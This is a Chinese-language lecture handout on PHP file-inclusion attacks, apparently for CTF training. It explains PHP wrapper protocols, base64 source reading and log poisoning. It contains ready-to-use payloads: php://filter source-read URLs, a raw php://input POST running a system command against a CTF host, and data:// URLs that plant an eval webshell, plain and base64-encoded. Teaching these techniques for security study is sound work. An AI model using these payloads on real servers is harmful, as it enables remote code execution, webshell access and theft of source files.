文件包含(授课文档)
文章目录
本节包含
- 文件包含原理与使用
- 伪协议和一句话木马
- 日志包含
关联知识
- 文件上传(本地包含)
- 利用伪协议包含一句话木马
- base64编码
什么是文件包含?
RCE的一种,eval命令执行和命令注入(命令注入还可以纳入注入类)
顾名思义,就是把一个文件包含到当前的文件。
和cpp
的#include
些许类似
前置知识
1.PHP与文件包含
文件包含这部分内容我们通过PHP的形式展开讲
2.函数
下面是文件包含的函数(PHP语法下)。
include
require
include_once
require_once
highlight_file
show_source
readfile
file_get_contents
fopen
file
require() 的功能可以理解为,将一个文件的内容引入,替换掉require语句,成为PHP脚本的一部分。
require("file.php"); // 将file.php的文本替换在此处
include() ,PHP 脚本文件在读到 include() 语句时,将它包含的文件读取进来。
两者区别:1.incluce
在读取到这条函数时加载,循环执行的话会多次加载;require
则在预处理阶段加载,循环执行,也只需要在最开始加载一次。(include自己可以套娃),防止多次加载,可以在两函数后面加_once
后缀表示已加载的不加载。2.include 引入文件的时候,如果碰到错误,会给出提示,并继续运行下边的代码;require 会停止。
3.base64编码
每三个字节归为一组,添加前导00,填充至4个字节,再重新编码
只是使明文不具有可读性,但是防君子,不防小人
12345678 91234567 89123456
123456 789123 456789 123456
00123456 00789123 00456789 00123456
特点:
1.由于前导0不变,实际字符范围包含64个字符,大小写字母、数字、+和/
2.末尾不足三个字节的用=填补,最多两个
初次之外,还有base16、32、56、58、62、85、91、92。
用途:读php文本,逃避死亡exit()
形式上讲分为
- 本地文件包含
- 远程文件包含
为什么学这个
- 利用文件包含直接读文件
- 利用文件包含加载一句话木马,拿shell,从而进一步操作
- 配合文件上传利用webshell
利用方法
-
直接的路径包含
-
利用伪协议的包含
-
日志包含
-
SESSION包含
另外,需要清楚的是,我们在远程利用的文件包含发生在服务器端,我们可以看到的回显为服务器端返回的页面。
什么是读?什么是写?
这里是以PHP脚本所在的服务器为脚本进行的读写
读 写
外部 --------> WEB服务器(PHP服务,php脚本) ----------> 本地文件
伪协议
伪协议就是这些文件包含函数支持的协议与封装协议。
依靠这些协议可以将远程或本地(目标服务器的本地)内容包含到PHP脚本中。
逻辑上可读写文件。
配置文件
部分伪协议的正常使用需要进行一些配置。
php.ini下
allow_url_fopen
:off/on
ON激活 URL 形式的 fopen
封装协议,使得PHP脚本可以访问 URL 对象文件等。
allow_url_include
:off/on
ON允许 包含URL 对象文件
常用伪协议
-
file://
-
http://
-
php:// php://filter php://input
-
data://
-
compress.zlib:// zip://
-
phar:// PHP 归档
-
…
1.file://
访问本地文件系统,最基础的文件协议。
2.http://
没错,HTTP也是
3.php://filter
用途
它是一种元封装器,filter翻译过来就是过滤器,使用其筛选管道可以读取源文件。
读取文件并进行显示或写入,如果已经将木马传上,可以以此包含。
特点
可读,可写,文件名明文
双off也可以使用
形式
?file=php://filter/read=convert.base64-encode/resource=admin.php
// 关于resource,起手可猜解常见的login,admin,index,upload
base64 编码是因为php
文档以plain形式包含会被PHP服务器先经过一次解释,再回显到前端,导致显示错误
参数
名称 | 描述 |
---|---|
resource=<要过滤的数据流> | 这个参数是必须的。它指定了你要筛选过滤的数据流。 |
read=<读链的筛选列表> | 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。 |
write=<写链的筛选列表> | 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。 |
<;两个链的筛选列表> | 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。 |
TIP: write参数需要配合file_put_contents等写函数使用
4.php://input
用途
可以访问请求提交的原始数据的只读流,文件包含函数会将其POST请求的请求体包含。
包含木马
特点
输入,读,payload在请求体
allow_url_include:on
形式
//表单
POST /?file=php://input HTTP/1.1
Host: beb8b73b-b346-4286-a7c0-b492e86ef714.node3.buuoj.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 31
<?php system('cat flag.php') ?>
5.data://
用途
数据流构造器,将读取后面base编码字符串后解码的数据作为数据流的输入
包含木马
特点
读,双on,可编码payload
形式
data://text/plain,
data://text/plain;base64,
?file=data://text/plain,<?php @eval($_POST['cmd']);?>
?file=data://text/plain,<?php @system('cat *');?>
?file=data://text/plain;base64,PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk/Pg==
?file=data://text/plain;base64,PD9waHAgQHN5c3RlbSgnbHMnKTs/Pg==
利用文件包含getshell
PHP一句话木马,说白了就是有php代码文件,所以我们可以把php文本包含到目标服务器本地的php文件中,形成一句话木马。
构造payload
<?php @eval($_POST['cmd']);?>
?file=data://text/plain;base64,PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4=
蚁剑连接
你可能会遇到的过滤:
伪协议关键字
data
php
file
input
filter
PHP相关
<
?
php
....
甚至会过滤base64
=
+
\
灵活应对
有的直接在前面插入
死亡exit()
<?php exit();
如果上述方法均无法使用,可以采取特殊方法
文件包含之日志包含
nginx
请求日志
/var/log/nginx/access.log
URL中的敏感词被进行了黑名单检测,但
如WAF对UA无检测,我们可以利用UA头传入一句话木马,再利用日志文件进行包含
一条请求在access.log中的样子
[15/Aug/2020:05:26:03 +0000] "GET /?file=/var/log/nginx/access.log HTTP/1.1" 200 1509 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0"
当然这个log显示什么内容运维人员是可以用配置文件定制的。
后续
文件包含之SESSION包含
文件包含之tmp包含
文件包含之Phar协议
死亡exit()